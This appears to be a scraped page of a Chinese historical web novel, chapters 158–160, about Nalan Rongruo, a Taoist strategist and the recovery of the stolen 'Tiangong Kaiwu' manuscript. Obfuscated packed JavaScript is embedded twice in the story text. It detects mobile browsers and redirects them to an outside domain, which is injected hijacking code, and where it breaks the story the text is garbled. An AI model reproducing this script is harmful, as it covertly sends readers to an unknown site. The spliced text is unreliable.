福全笃定笑道:“现在朝廷对疑似盗窃《天工开物》的犯人的侦查眉目,都已经指向本王王府和朴尔普大人的宅邸了,哪里还算太平?那个郭琇今时今日就开始不怕死似的往朝廷大员身上动刀片,在日后他岂不是敢翻天、连我们这些八旗亲贵贝勒、议政王大臣都敢直接开骂和弹劾了?” “王爷的担忧不无道理。”明珠捋须,“不怕血口喷人和搅事裁人,就怕自恃正义、天不怕地不怕之人啊!” “明珠大人,你可已经想过对策了?” “本官尚在家中喜事间,”明珠装作无奈,“未曾打算过。包括爱子容若也一样,当上了阿玛便是喜不自禁,已经许久未提及《天工开物》一案和那个可恨的郭某人了。” 福全置茶提醒:“本王此番前来,既有对明府添新丁的庆贺之意,也有与明珠大人同舟共济之请,还请明珠大人仔细斟酌。” 明珠沉思良久,回应道:“王爷未雨绸缪,本官自当相帮衬。来日我明珠要是陷入泥潭,也请王爷莫要抛弃不理才好。” “本王是重义气和重交情的人,既然与明珠大人结盟,就决不会只贪图一己平安,还望明珠大人放心。” “本官岂会不信王爷?”明珠做出请福全饮茶的动作,“王爷且喝口暖茶罢——” * 另一边。渌水亭中。 纳兰容若与施道渊相对圆桌而坐。 “本道有几句话想单独对公子说。” “你们都下去吧!”容若屏退旁人。 施道渊拈指筹算片刻,遂询问:“此前本道给了公子一个锦囊【注1】,公子可有拆开使用?” 容若如实道:“并未打开过。” “今日本道要再给公子一个锦囊,还请公子收下。” 说着,施道渊就将一个由金色丝线绣成的锦囊从袖中拿出。 “谢道人相与囊中天机。” 容若双手接过,握在掌心。 “雪之将霁,万木逢春,殊不知一切因果就在眼前。”施道渊长须随风而飘,道骨清朗,“物也罢,人也好,机缘尽在笑谈中。” 容若自悟:“道人此言,叫弟子豁然开朗。只是弟子不知‘笑谈’二字该作和解?还望道人再明示一二。” “今日王爷与明珠大人投缘共济,来日方长,功德互惠,皆是各的其好。”施道渊看向正厅方向,“公子慧根既存,只需稍作参合,便可知道事情往后的发展。” “难不成,”容若问,“今日裕亲王来找阿玛,是道人您的主意?” “公子果然慧鉴。”施道渊点头,“世间奇书何其多?天地渺渺不可量。江湖何愁无风云?自在侠影不意间。” 容若笑:“那日弟子与妻卢氏在‘花鸟风月楼’所见黑衣人,原是如此身份。多谢道人点拨,弟子已是对《天工开物》下落心里有数。” 施道渊择一块茶饼而食,复淡饮数口碧螺春,仙仙然如天上老君。 容若起身,再度行礼谢过,才与之一同吃点心、品香茗。 清谈之间,施道渊谨慎把握天机,只再一次对容若点到为止。 “公子长女苌情,日后乃是会嫁与年氏【注2】为妻。年氏与张英之子张廷玉一同获得康熙皇帝钦点功名,入职翰林院。” “道人你妙算天成,弟子不疑。弟子亦不问苌情感情之事始末,只问年氏结局,可是一个好下场?” “这便是康熙朝之后、下一朝皇帝时期之事了。本道不宜向公子透露过多。” “是。弟子自当盼着长女与女婿双双好合,当中机缘,道人所说之语已是最多与最善,弟子不多求甚解。” 容若心中笃然。 施道渊只作寻常模样,问公子是来一局盘中对弈?容若说好,就叫人去取了棋盘和装棋子的黑白瓷罐过来。 棋子纵横方寸间,却能在进退中推敲玄机。 弈者如斯,勿论桃源,勿论险境,执掌指尖。 “道人路娴招妙,弟子自愧不如。” “公子亦是能辨黑白,能知盘上世界如人间,昨日纷繁与今日就简,不过是喜之即喜、黯之将过罢了,无须劳念挂心。” “能与道人聊玄理,弟子百感于心,受益匪浅。” 裕亲王福全并未在明府多留,谢过明珠的饭局之请后,就与自己的幕僚施道渊同归。 明珠将王爷的意思悉数告知容若,道:“裕亲王这趟来的蹊跷,照你看,本官是否应当与其结为盟友?” “王爷只要不反皇上不反大清,皇上念着不多的兄弟情分,只会恩赏他而不会为难他,日后王爷尚有杀敌立功、与圣驾并征疆场之时,阿玛无需多虑,与王爷适当交好、保持谦逊态度就是。” 明珠与儿子一同往回走,他边走边问儿子:“那个施道人,跟你说什么了?” “施道人给了儿三点暗示:长女苌情之姻缘、君臣执棋博弈之随缘、以及《天工开物》所在之机缘。” “你是说——”明珠忽然驻足,“那个道士知道《天工开物》在哪里?” “嗯,施道人不但晓得宋应星作品的下落,连那个儿遇见的黑衣人的身份都算出来了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772639|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “快快把你的推想都告知阿玛!” “阿玛这边走——” * 徐府。 落轿之后,徐乾学迎来了等候已久的顾贞观的一通冷眼。 “本官虽被降职,骨子里却是风度不改!”徐乾学傲气挺胸,“本官的顶戴和官服虽是被康熙皇帝暂时没收,举手投足间却是时刻未忘自己的身份,我徐乾学仍旧是堂堂——” 才要把旧时的“官名“喊出口,徐乾学就听见了这么一番话: “禹之鼎江南出身,好名声传遍;蔡启僔江南出身,学问响彻乾坤;哪怕是我顾贞观,虽是不得志于当下,但也在文坛小有名气。偏偏是你徐乾学,将江南文人风气搞的是乌烟瘴气、小人当道,活该你老家的牌匾被摘!” “可惜啊,真是可惜!”徐乾学竟然斜倚门柱,拍掌而笑,“弃我去者,昨日之日不可留;乱我心者,今日之日多烦忧。旧时诗仙李白所言,今日用在我身上就再合适不过了。所谓‘名亡实存’,则‘后起如虹’,爱徒容若是羡慕不来的。” 管家提醒:“大人,是名存实亡。” 说罢,管家又一拍自己的脑袋,悟了:“没错,大人的用词才是对的,唉!” “徐乾学,你何以让那个姓郭的御史对你死心塌地?” 徐乾学又是一阵肆意大笑,笑罢,才道:“因为本官是执棋之人,就该有让棋子听话的本事。” “郭琇真是错信了你!”顾贞观指着斜对面那位嘴脸可憎之人,“一世英名既存、一世英名既悔,皆是你这个卑劣座师在操纵!” “本官是借郭琇之手为民除害。”徐乾学大声狡辩,“本官不怕跟明珠父子和索额图耗时间,一旦功成,就是‘夯正朝纲’的美名加身之日!” “好你个为了一己成名,而将郭琇和明索两党都当作是垫脚石的该死之人,”顾贞观大骂,“你一生坏事做尽,不得好死!!” 徐乾学一把站直了身子,目光似鹰,与顾贞观相交汇。 电光火石的眼神交锋之中,徐乾学大叫: “本官相信:恶人自有恶人福!更何况本官还不是百分百的恶人!!本官只是个不受明索两党所重视的可悲可怜之人,亦是不为宋应星和张岱所正眼相待的自大自傲之人,然而,本官却是个活得谁都明白的不死之人……” 顾贞观和徐府管家见状,皆是惊讶。 徐乾学竟然说自己拥有“不死”之身,就跟是真的不怕天网恢恢一样,仍旧行走在他自以为是的“大道”之上。 * 花鸟风月楼中。 人来人往,一派欣欣。 孔尚任向楼主张纯修送上已经完稿的新剧作。 “孔某不才,新出了《白石折》一本,还请张楼主帮着审阅审阅。” “孔兄啊,你这是以谁为主角而创作的新剧呐?”张纯修问,“南宋乐师白石道人姜夔?还是‘明月松间照,清泉石上流’的初唐诗人王维?” “孔某乃是在男女主角的名字当中各择了一字,白莺莺和石好问,合称《白石折》。此剧讲述的,乃是在乱世之中——” “你这大背景不会是隐喻了南明王朝吧?”张纯修为翻阅稿纸先劝,“当下局势,康熙皇帝跟三藩之间虽未起干戈,但你也不能擅自放肆运笔啊!” “孔某所取,是魏晋南北朝背景。” “那可是个大动乱的时代,枭雄并起!哪来的什么爱情?” “所以孔某来创作啊!孔某是这么写的——” “等等,”张纯修打断,“你我在此处议论不方便,只怕是被谁人的眼线听了去,胡嚼出什么牵强附会的话来。孔兄随我到别处来。” “好好好。依张楼主所言。” * 冰雪晶莹离,剔透如画是江南。 沈宛收到了容若的年礼,他送给她的,是一只新制的玉笛,正好跟之前那只凑成一对。 沈宛在窗边自吹,卷情思,只盼飞雪万里传京华。 旁侧红炉燃新炭,促暖华,自是无声胜过千万声。 宋应星前几日收到张岱书信,得知了一桩奇事。 便告知沈宛:“有一户人家,祖上原本是姓严的,后来改姓了年,从安徽迁徙到京城住下后,得了一子,名叫:年羹尧。次日,有一个名叫高衹虚的得道高人登门祝贺,说是年羹尧在日后会娶纳兰性德的长女苌情为妻,二者恩爱美满。” 沈宛问:“那位高道人不是跟施道渊齐名吗?既然他能做出此番预测,想必施道人也登入明府去找过纳兰公子了。” “这当真是巧啊!”宋应星感慨,“年羹尧跟纳兰性德的长女同一日出生,难不成真是天定的姻缘?” “管他俩是否被姻缘仙子欢凭牵了线,年家怕不是因为这事而沾了纳兰家的光,要渐渐在京城名声鹊起了吧?” “张岱在信中说,连自己这个半隐之人都听到消息了,可见风向之大,大到就快赛过——‘徐乾学被没收官服和顶戴’与‘隆科多自称:杀敌负伤,邀功反被邀功误’这两件事了。” 宋应星对那两件事并未细说,只坐下,拿了一只套着针织套子的铜炉来暖手。 沈宛也未追问,只用真丝绢子擦了擦手中玉笛,放归要处。 正当这对师徒各做各事之时,“神龙镖局·江南分号”的姜飞远姜副爷敲门而入。 姜副爷带来了一个大消息: “宋公,你的大作《天工开物》的下落,有眉目啦——” 【注1】施道渊给容若锦囊,见第96章。 【注2】即年羹尧,雍正朝敦肃皇贵妃之兄。年羹尧取纳兰性德长女为妻。 159.第159章 宋应星立刻叫沈宛关闭了门窗,问道:“姜副爷,《天工开物》如今在何处?” 姜飞远就近而坐,镇定道:“本副爷收到可靠消息,宋公著述的原稿,如今正在京城的裕亲王王府之内!” 宋应星大惊,脸上带着不可思议、不可信的神情。 姜飞远从袖中拿出一张纸条,道: “根据此密函所言,《天工开物》的确是为裕亲王福全所得。此密函还说,纳兰公子曾在‘花鸟风月楼’发现一个鬼鬼祟祟的黑衣人,趁着夜色追踪,却在去往裕亲王王府和一等公朴尔普宅邸的途中跟丢,自是悔恨不已。” “哪想那黑衣人之所往,正是裕亲王王府!黑衣人之所以会凭空消失,正是钻了高屋瓦片之下的暗道。后来,经过一个半月追踪,黑衣人终于在一等公朴尔普面前伏了法【注1】”。 沈宛问:“难不成是黑衣人把一切都供述出来的?” 姜飞远摇头,“那个黑衣人只是承认了‘跟踪纳兰性德和卢氏夫人’之事,其余一字未招供,等到一等公朴尔普要将黑衣人交给康熙皇帝亲审的前夜,黑衣人竟然咬舌自尽了!死法跟徐乾学府上的金丝雀一模一样。” 沈宛又问:“既然不是黑衣人说出来的,那又如何能确定《天工开物》被裕亲王福全拿了去?王爷要我师傅的手稿有何用?” 姜飞远道: “密函中说,一切都是得到高人施道渊的点破。至于这点破的经过,却是全部略去,只叫本副爷将消息带给宋公和宛姑娘,要由谁或是用什么方式将《天工开物》取回,全凭宋公和宛姑娘拿主意。” “而王爷是用什么手法得到镖物、想将镖物用在何处,密函也是只字未提。” 宋应星眉头紧锁:“那人怎么知道宋某与御婵的关系,将宋某之名与御婵并提【注2】?” 姜飞远摇头:“这倒不是最要紧的,要紧的是接下来宋公你想怎么做?以及这密函所言,是信得还是信不得?” 沈宛借了密函来看。 一眼辨认出了“天下的纳兰公子”的字迹和别署“鹅梨”印章。 思前想后,沈宛参合着容若的意思道:“我想去裕亲王王府寻回《天工开物》原稿之事,应由我跟姜副爷一并去做,就是不知道师傅的意思:是我们同行再度上京?还是独留江南,等我们回来?” 宋应星不假思索:“你我在江南呆的时日已久,是该回到天子脚下去了。” “好。那就定于明日启程。”沈宛看着另外二人,“到了裕亲王王府,由师傅本人亮出身份求见,想必很快就能弄清前因后果、让王爷物归原主。” 姜飞远再次确认:“密函所言,真的可信?” “嗯,可以确信。”沈宛肯定道,“因为……他不会叫我做没有胜算之事。” * 待到侧夫人袖云能够下床走动之日,容若在她面前夸了双生儿的好。 “袖云你虽是躺着养着一段时间,我却是知道那般状态不尽然是轻松的。咱们的孩子很健康,笑起来露出小酒窝,惹人思爱。我觉得富格长得像我,苌情长得像你,将来都是黏阿玛额娘的。” 颜氏坐在摇篮侧守护孩子们,听着夫君的关切之言和爱子之语,神色温婉。 她之所求,的的确确就是:能与夫君长长久久,一家子的感觉常在,呵爱温言常有,相顾之情常伴。 “公子初次体味当阿玛的感觉,可是新鲜感与责任感并存?” “简而言之,我之期盼有三:与袖云你和尔谖,妻妾家室和和满满;与我的孩子们,父慈子孝,一世平安;能够看着自己的每一个儿女成家立业,听自己的孙辈叫我玛法。” “这便都是责任感了。”袖云嗔他,“公子可要跟袖云分享初次瞧见孩子、照顾孩子、对孩子说话的感受?” “要,要。”容若笑了笑,“我初次听见孩子哭声的时候,就想着到你身边去,直到嬷嬷带着两个丫鬟把孩子抱过来了,我才更是沉浸在喜悦之中,忘乎日夜,如在自设的时空中。” “我在孩子们身边,看孩子们熟睡、睁眼、小小身躯还未到爬行之日,总是怀着一股希望他俩快些长大、又希望这些美好多留存的心态,在不知不觉中就习惯了他们的作息习惯、学会了照顾他们。我跟富格和苌情说话的时候,他俩都是看着我的,我就当他俩都听懂了我在说什么,用独特的纯真的神情来回应。” 袖云笑问:“公子向来喜欢安静,不觉得孩子们哭声大吗?” “多些自然的神情流露和声响发动才好。”容若不介意,“婴儿时期,是最自由的。” 从颜氏侧夫人房中走出,容若估算着:裕亲王王府那边应该快迎来《天工开物》的主人了,无论如何,希望宋先生和宛卿一切顺利。 说起自己是如何从施道渊口中推测出实情的,大致是这么一个过程: 施道渊道行高深,自是懂得为裕亲王福全筹谋。 除开王爷暗中取得《天工开物》的经纬纵横,事到如今,从康熙皇帝到明索两党,再到徐乾学和宋应星,甚至是相关者张岱先生和奉命找寻者曹寅,谁都没有得到一点好处,是时候给事情画上一个句号了。 施道渊之所以不经意地结果暗示于我,无非是想保全自己的恩人裕亲王的名声,否则此事载于史册,不利于王爷评价。 人在此山中,易被浮云误。 往往看似跟案件最无关的人,才是真正值得注意之人。 想来王爷应是一片赤忱,只将《天工开物》当作对社稷民生有利的读物,过了一把眼福,原本想读过就还之心,被换以自作收藏之意罢了。算不得是有目的、有预谋地向康熙皇帝或是大清挑起乱子。 容若走向自己的白玉兰树。 冰寒消翠,玉瓣不减,香依旧。 * 沈宛、宋应星、姜飞远三人来到裕亲王王府求见之日,天降中雪,路上行人稀少。 福全在正厅待客,置盏斟茶之间,他随对《天工开物》的作者心存仰慕,却始终矜持。 “听闻王爷偶得宋某手稿,不知是否属实?”宋应星礼貌询问,“故而宋某弃江南而来,就为了向王爷求证传闻。” “宋先生客气,世间好物不长久,藏阁珍品难久留,本王并非偶得宋先生大作,而是闲来无事,想要多开开眼界去读取汉人之书罢了。” “竟不知王爷是如何所得?” “得道高人施道渊神机妙算,测得镖物一车,将至江南,当中正是宋先生的大作,便请了一位江湖侠士前去‘请镖’。江湖侠士身手敏捷,拿钱办事,镖物自然是顺顺当当地被‘请’到了本王手中。本王只先看了前十页,就为其中的生活妙法所吸引,不可自拔。” 听到裕亲王这么说,宋应星心中苦笑。 ——何谓“请镖?” ——分明是劫镖,镖师们在送货途中也需修整,不可能日日夜夜盯着镖物看,被江湖侠士趁了机,怕也离不开施道渊的支招。只是其中招数,王爷不便告知外人罢了。 宋应星试探着问:“王爷何以看中了不才的这些手稿?” 福全连连抚掌,道:“这几声击赞,是本王给宋先生你本人和你的大作的。本王这颗心,可是答应过皇阿玛顺治皇帝:一辈子当个贤王的呀!所以这事跟国事和军机联系不到一起去!” 宋应星倒也不敢往深处问,王爷这话,几分真几分假,只有他自己知道。 ——王爷要是利用《天工开物》当中的“造物之术”来制作好物,那就是百利无一害:为国家出己力,为百姓谋福利、为工业长志气、为农商促发展,必将成就美名。 ——反之,王爷要是悟得深,借了《天工开物》所传授的方法来改良改进军备,用于战争,巧妙进攻,大胜反贼吴三桂就罢;只恐王爷是私藏军火,私练兵马,不顾祖宗家法与兄弟情分,铸成大错! “宋先生。”这回开口的是施道渊,“裕亲王自小聪慧,博闻强识,你的作品能为王爷所翻阅,可是你的福气。将来《天工开物》里面的方法论被王爷所用:再征吴三桂、随驾攻打噶尔丹,与康熙皇帝共创太平盛世,史家高赞,又岂是你能够预料的?” “道人的意思是?” “宋先生你……”施道渊捋须而笑,“乃是个为后世所敬仰的伟人。” 福全向管家道:“带人去把宋先生的全部手稿取出来,本王要当面送上。” 宋应星眉毛一抖,送上?不是应该说“归还”吗? 不一会儿,管家就领着数位家丁一起把那一箱子书给抬了出来。 就在福全喊了句“开箱”的瞬间,宋应星竟然双目潸然,扑向前去,半蹲在地,抚摸着自己的手稿而落了泪。 沈宛走过去,在宋应星耳边提醒:“师傅,王爷面前,您不要有失体统啊!” 宋应星这才缓缓站起,对裕亲王道:“宋某多谢王爷成全。” “好。”福全爽朗道,“宋先生,你是想自己将箱子运回?还是本王叫人把箱子随你一同、护送往目的地啊?” “宋某自当是有劳王爷做安排。” 宋应星知道自己没得选,裕亲王的话已经给足了暗示。 “来人——”福全一招手,“你等先去王府外头侯着,叫来车马之后,即刻随宋先生而往。” 到底是姜副爷胆子大,问道:“王爷,您可是叫人把《天工开物》做了抄本?” 福全笑,“本王记忆力好,无须多此一举。只是还要提醒你等镖师和宋先生一句:行镖务必小心,托镖务必谨慎。这回幸好是遇见本王这种诚心待见《天工开物》之人,否则这传世之作落入了不法之人手里,后果不堪设想。” 姜副爷抱拳,“多谢王爷劝告。” “那……”宋应星向裕亲王行一礼,“宋某等人这就先告辞了,祝王爷万安。” “宋先生,”福全伸出一只手作请,“接下来,你等也要万事顺意才好。” * 离开裕亲王王府。 沈宛去往“饮水词歌·素菜馆”,宋应星去往旧宅,即张岱所在处。而姜飞远姜副爷,则是去往“神龙镖局”的京师总舵,参勤拜见总镖主。 容若见了素馆的刘管事来府上请见,又瞧见了刘管事出示的沈宛的信物,欣然前往素馆。 明珠不在府上,对此毫不知情。甚至连《天工开物》被宋应星取回一事,明珠也不曾知晓。此刻的明珠,正在皇宫的某一处,跟索额图各执己见,就一个议题而唇枪舌剑。 与宛卿将见,容若心情欢悦。 他甚至是觉得今日的马蹄格外轻快,好似自己身上没未曾着雪一般。 * 素馆,“一双人”雅室。 推门看见沈宛的那一瞬间,容若和沈宛不约而同地唤了声各自的名字。 “容若,先前在裕亲王王府,我一句话没有说,闷得慌。” “那就留着多多的话语来对我说,我字字句句听宛卿说。” 煮茶的小泥炉在桌面上放着,散发出温热的光芒。 旁侧置着一些茶点,多以薄脆的饼类为主,不着以馅料。 “我在来的路上又想了想,这次的《天工开物》案子,怎么像是施道渊从头到尾策划,裕亲王等人只是卷入其中?若是如此,容若你说,施道人到底图什么?” “物尽其用,人为主谋。”容若用八个字概括,“施道人大抵是真觉得《天工开物》对王爷有用,才会布局叫王爷寻来看吧!讲真,宛卿,你师傅的书——” 容若一笑,“的确是一套奇书。” “你自己得知了我师傅的身份也好,免得我找机会来对你说。”沈宛用尖嘴铁钳拨了拨红炭,“我师傅这个人,有自己专注的东西,现在是三分心在前明、七分心在大清。” “施道人在私底下,没准是叫王爷把《天工开物》当作是兵书看。” 容若慢做分析: “像里面提到的各种制造工具和提升效率的方法,都可以大大实践于军机之中。五金的开采与冶炼,可以锻造冷兵器;朱砂、硝石、硫磺等原材料的提纯与保存,可以扩大火药的威力;酒曲与蔗糖的提炼,则是精髓当中的精髓,可以给兵将们补充体力;还有玉珠宝石篇,原产地多在南疆与北蒙古,也能通过对原产地各类条件的分析,来调整作战战略。” 沈宛反问:“就算是如此,不也应该是由皇上来深读和把握大局吗?” 容若道:“南下打仗,皇上是交给自己信得过的爱新觉罗系血脉来率兵,所以裕亲王和安亲王发挥作用比皇上大,皇上得知裕亲王读了《天工开物》,想必也不会多加责备。北上亲征,将来皇上没准会带着大阿哥和皇太子一起上阵,所以皇上会更加顾全大局。” 沈宛脸上带着自豪,“那就当作我师傅的《天工开物》,为大清国土安定和兵力强盛做出贡献了吧!” “所以呢,事情顺着这样的方向推演和发展,就好办了。”容若自身也轻松自如,“一切只要上升到利国利民的层面,就不会有人遭罪。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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宜妃道:“照本宫看,新人里面,佟国维之女景茵珠是最拔尖的,等到皇贵妃娘娘入主中宫,景仁宫怕是要挪出来归属景茵珠住了。” “是吗?”德嫔一捋垂下的长发,“都说景仁宫的存在感仅次于坤宁宫,难不成在康熙朝,能攀上百鸟朝凤的高枝的正宫娘娘,都打那出了?” 荣妃道:“慈宁宫的掌事太监李福连李公公说漏了嘴,说是:皇上拟了一个‘意’字来作为佟国维之女的位分封号,要是她能够为爱新觉罗皇室开枝散叶、她的家族能够有功于大清,就要将‘贵妃’的名份给她。” ——“意”字吗? 德嫔在心中冷讽一声。 皇上要是真的有心,怎么不直接把一个“懿”字赐给景茵珠呢? 德嫔装作平静:“太皇太后同意了吗?” “李公公倒是没说太皇太后的意思。”宜妃担心,“只是景茵珠一进宫就跟皇贵妃娘娘平分秋色,你们觉得后宫人心能稳固吗?” 惠妃心平气和: “各位妹妹,你们说皇上究竟真心宠爱过谁呢?先皇后赫舍里氏得到的圣恩多,也不见得皇上是真正把一个‘情’字落到她身上,反倒是她仙去之后,皇上的种种追思表现,让人看了就有那种对嫡妻的追悔之感。你们说是吗?” 荣妃无奈:“景茵珠的家世,难道不是这批秀女当中最好吗?皇上把心思有意无意地放在她身上,咱们也不好多说什么。” “可不是吗?”德嫔双手合十,对着桌面上的一尊檀香木小佛像,“咱们进宫久了,受到的圣眷不可说不多,是时候分点给新人们了。” 惠妃问德嫔:“妹妹之前说是跨年之后回永和宫住,怎又推迟了到了秀女大选之后?” 德嫔仍旧是虔诚模样。 “惠姐姐,臣妾只想‘偷闲’罢了,选秀前后,许多宫闱事,辨也辨不清。咱们可不像太皇太后那般耳聪目明,经历三朝,还不如仰仗着皇贵妃娘娘呢,谁说平日里端庄贤淑、与世无争的皇贵妃娘娘,就会输给新来的景茵珠?” 惠妃笑而不语。 德嫔的话说的无错,有太皇太后在,后宫的天就不会塌。 将来不管是钮祜禄氏还是景茵珠成了后宫主角,嫔妃们的日子还是照样过,再多几个像德嫔这般“人静心不静”的避风沙之人,也不过是寻常事罢了。 宜妃道:“听说景茵珠的弟弟隆科多,原本只是想去北蒙古勘查地貌和军情半载,结果却被生父佟国维在皇上跟前上了道折子,使得皇上让其子在那边多留一年,待到后年转秋才归呢。” 德嫔在心中冷笑数声,嘴上却问:“那隆科多岂非连姐姐的妃位晋封都听不见、瞧不着了?要是他还有心上人呢,情分不是日渐生疏?” 宜妃摇头:“这可就难分了,到底是佟国维借了儿子来设局?还是佟国维与隆科多父子不和的传闻为真,父不为子,刻意疏离?咱们难看清呐。” “隆科多要是自己有本事,还会受制于父吗?”德嫔说的直白,“臣妾倒是希望这多了半年的吃苦经历能叫他看明白,以后在康熙朝该怎么为己过活。” 荣妃问:“妹妹的意思是?” 德嫔拨了拨手腕的念珠,“臣妾只是觉得隆科多无能罢了。” 荣妃生疑:“可是本宫看妹妹的神色,却是替隆科多不甘呐。” “荣妃姐姐误会了,隆科多此前自讨皇上质疑之事,前朝后宫已是无人不知,也活该他不被他阿玛佟国维待见。好在是有她姐姐景茵珠即将成为皇上的枕边人,必要时还能为他说几句好话。” 殿中四人,又说了好一会儿话,才各自散去。 * 从宝华殿出来,已是过了午歇时分。 惠妃本就没有睡意,就打算去御花园逛逛,看看冬日新花。 “怎么样远黛,德嫔句句心口不一,她那极力为自己圆场的样子,你都见识到了?” “回娘娘,奴才都看在眼里。德嫔越是怼隆科多,就越说明她对他——想断念而未成、想放下而放不下。” “所以德嫔才把出关的时间后挪了,她自己也知道,不适合回永和宫等待皇上雨露。” 远黛扶着主子慢慢踩雪而行:“只是皇上还蒙在鼓里。” “这倒不见得。”惠妃心中有预感,“咱们都向前瞧着吧!” 【注1】朴尔普宅邸发现黑衣人、命管家追查之事,见第154章。 【注2】容若知晓宋应星身份和与沈宛的师徒关系的始末,见第151章。 160.第160章 待到桃树开花结果之时,明府名下的果园管事送来了最好的果子。 卢氏夫人收下提篮之后,便从里面择了数只新鲜多汁的果子出来,仔细洗净装盘,送到明珠和觉罗氏房间,请阿玛和额娘先尝。 觉罗氏问她:“尔谖,你自己尝过了吗?桃子的口感如何?” “回额娘,尔谖未品尝、之后人生也不打算再吃桃子。” “这是为何呀?”觉罗氏不解,“难道桃子是你不爱吃的水果?” 卢氏摇头,诚心道:“公子在这个季节易病,我是公子的正夫人,我不能吃应季的果物,不然对公子不公平。” 明珠对儿媳赞许道:“难得你有这份心。本官亦听说,平日里容若温书之时,只要你得空,便会亲自用双手为他捂热茶杯。” “是。公子只喝温茶,所以尔谖用手捂着温着。” “容若真是得了个好正妻,本官跟夫人对尔谖你也甚是满意,你是咱们纳兰家不可或缺之人,日后你也要一并兼顾着容若和家事。” “是,阿玛。” 明珠又想起了什么,道:“想必容若也早已向你坦诚过他认识民间女子沈宛之事——” 觉罗氏看了明珠一眼,复对卢氏委婉道:“那位宛姑娘是江南才女,只是不懂规矩,多次妄图闯入明府相见容若,才惹了你阿玛生气。” “尔谖,你放心,只要有本官在的一天,容若的妻妾就只有你跟袖云二人,那个宛姑娘,”明珠哼了一声,“休想踏入我明府一步,休想从我儿身上要得名份!” 卢氏倒是没敢在明珠面前说出“只要公子对宛姑娘喜欢、跟宛姑娘相处的来,尔谖不介意公子将宛姑娘纳为小妾”的话。 她只是小心而不失礼貌地回应明珠:“阿玛对公子管的严,公子对阿玛的安排应是不存异议的。宛姑娘之事,都由阿玛做主就是。” 明珠再次冷面冷言以对沈宛:“她趁早断了嫁入纳兰家的心思算好!日后容若要是再度被她迷了心窍,被本官碰了个现行——”明珠反指一敲桌面,“定是不问家法是否长眼,非叫他长了记性不可!” “阿玛别生气了。”卢氏劝道,“公子已为人父,对自己的感情事,会有分寸的。” “但愿如你所说。”明珠小咬了一口桃子,“这桃子不错,既然你不吃,那就只好由本官多吃点。” 面对明珠似似而非的后半句玩笑之语,卢氏微笑以对。 ——就当作,是阿玛把容若的那份也吃了吧! ——都是一家人,滋味与共,一样的。 * 渌水亭内。 容若跟妻妾围炉煮茶而坐。 “公子向来会把新鲜水果送往福建水师,袖云在桃子还未采摘之际,就已经吩咐果园里的管事,要留出几筐出来,专门运往福建水师给施琅大人和众水兵们吃。” 容若问:“你心细,这会儿桃子都已经送去了?” 袖云道:“是,已经送达,果园管事已经遣人来回过话了。” 容若点头:“四川产柑,岭南产荔枝,福建产柚子,陕西产好桃,物华天宝,果物在哪里最适合生长,都是注定了的,后天能够依靠人力和交通通达四方,也是好事。” 卢氏问:“待到樱桃熟时,也是如此吗?” “樱桃属于皇家水果,明府名下的果园倒是不能与皇家争光。所以吃樱桃的季节,都是等着外头的人拿来的。”容若重提旧事,“之前我因病错失了殿试,徐乾学登门来送樱桃,居心可见一斑,所以我对樱桃吃的也少了。” “尔谖进入家门以后,还未问过公子喜欢吃什么水果?” “各种都吃,若说偏爱,是泡过盐水的凤梨。” 有下人过来回话:“购自江南的十六卷古书和三份竹简,刚刚送到了。请公子意思,是否现在就放到通志堂去?” “不急,先拿到冬日暖阳下面去晒一晒去除霉味,等到太阳落山时,再搬去通志堂。” 卢氏笑问:“公子怎么就说古书和竹简有霉味?书商们存书自有方法,跟文人们不同。” “我喜欢让书籍和竹简经常见光,既是为了让自己心智开光,也是尊敬先贤。” “原是如此,日后尔谖会多注意着些,定期拿公子的书出来晒一晒,也算是与公子一同瞻仰书中风华。” 袖云提议道:“公子不妨跟正夫人一同去晒书地,温温暖阳和看书籍铺陈,也是惬意。” 容若跟卢氏相互对望了一眼,不约而同地微笑点头。 等到来到通志堂门口的空地,卢氏惊讶发现: 有“暗香”和“疏影”各一枝寒梅斜插在玉瓶之中,玉瓶晶莹剔透,几近可见当中水波,正映着阳光奕奕生趣。 卢氏心中,是一种忽然对容若“安心”和“放心”了的感觉。 容若愿意面对梅花、且为梅花营造出这般“亭亭独立于书阁窗台上”的意境来,可见他是对自己的宿命有所立念。 立念之初,可得雅趣之好;再向前,可揽命运之万象更新。 卢氏站在容若身边,看着他、惜着他。 ——纵使冬阳千万暖、文章千古香。 ——唯夫君独暖、唯夫君的文艺气独香。 * 康熙皇帝,或者说“满清第一贵胄”三爷,以去看看“纳兰最近在家里做什么”为由,带着曹寅曹侍卫一并去了明府。 总管大太监顾问行同行,养心殿中只留下梁九功来应对“万一太皇太后和苏嬷嬷来找皇上”的特殊情况。 “二哥福全在朕之前把《天工开物》的原稿看了个遍,纳兰也在朕之前对《天工开物》的部分抄稿有所翻阅,唯独是朕,只能从别人口中听得《天工开物》的优劣,当真是有所遗憾。” “三爷,如今《天工开物》案子告破、重新回到了宋应星手中,宋应星跟张岱一同住在‘济国寺’后山,他俩一时半会儿也跑不了,您要是真想看那套书,只要一声令下,奴才去取就是。” “朕叫纳兰去从头到尾地看,然后按章节仔细讲给朕听,就定于秀女大选之后,叫纳兰每隔两日来书房见朕。” “皇上,选秀之事您可要上点心呐。”顾总管提醒,“皇贵妃娘娘、惠妃娘娘和太皇太后,都是盼着您的后宫百花齐放的。” “不是说了在外头,要叫朕三爷吗?皇上二字,等进了明府再叫!” 说完,玄烨又夹带着无奈说了一句话:“朕已经按照局势和皇阿奶的意思,未见佟国维之女景茵珠就先给她拟了一个‘意’字作为封号,还不够上心?” “皇……三爷,”顾总管小心翼翼,“这个‘意’字是好,就怕是各宫的主儿们都认为您是把佟佳·景茵珠当成了新宠的‘意中人’,心中有怨而不敢言。” 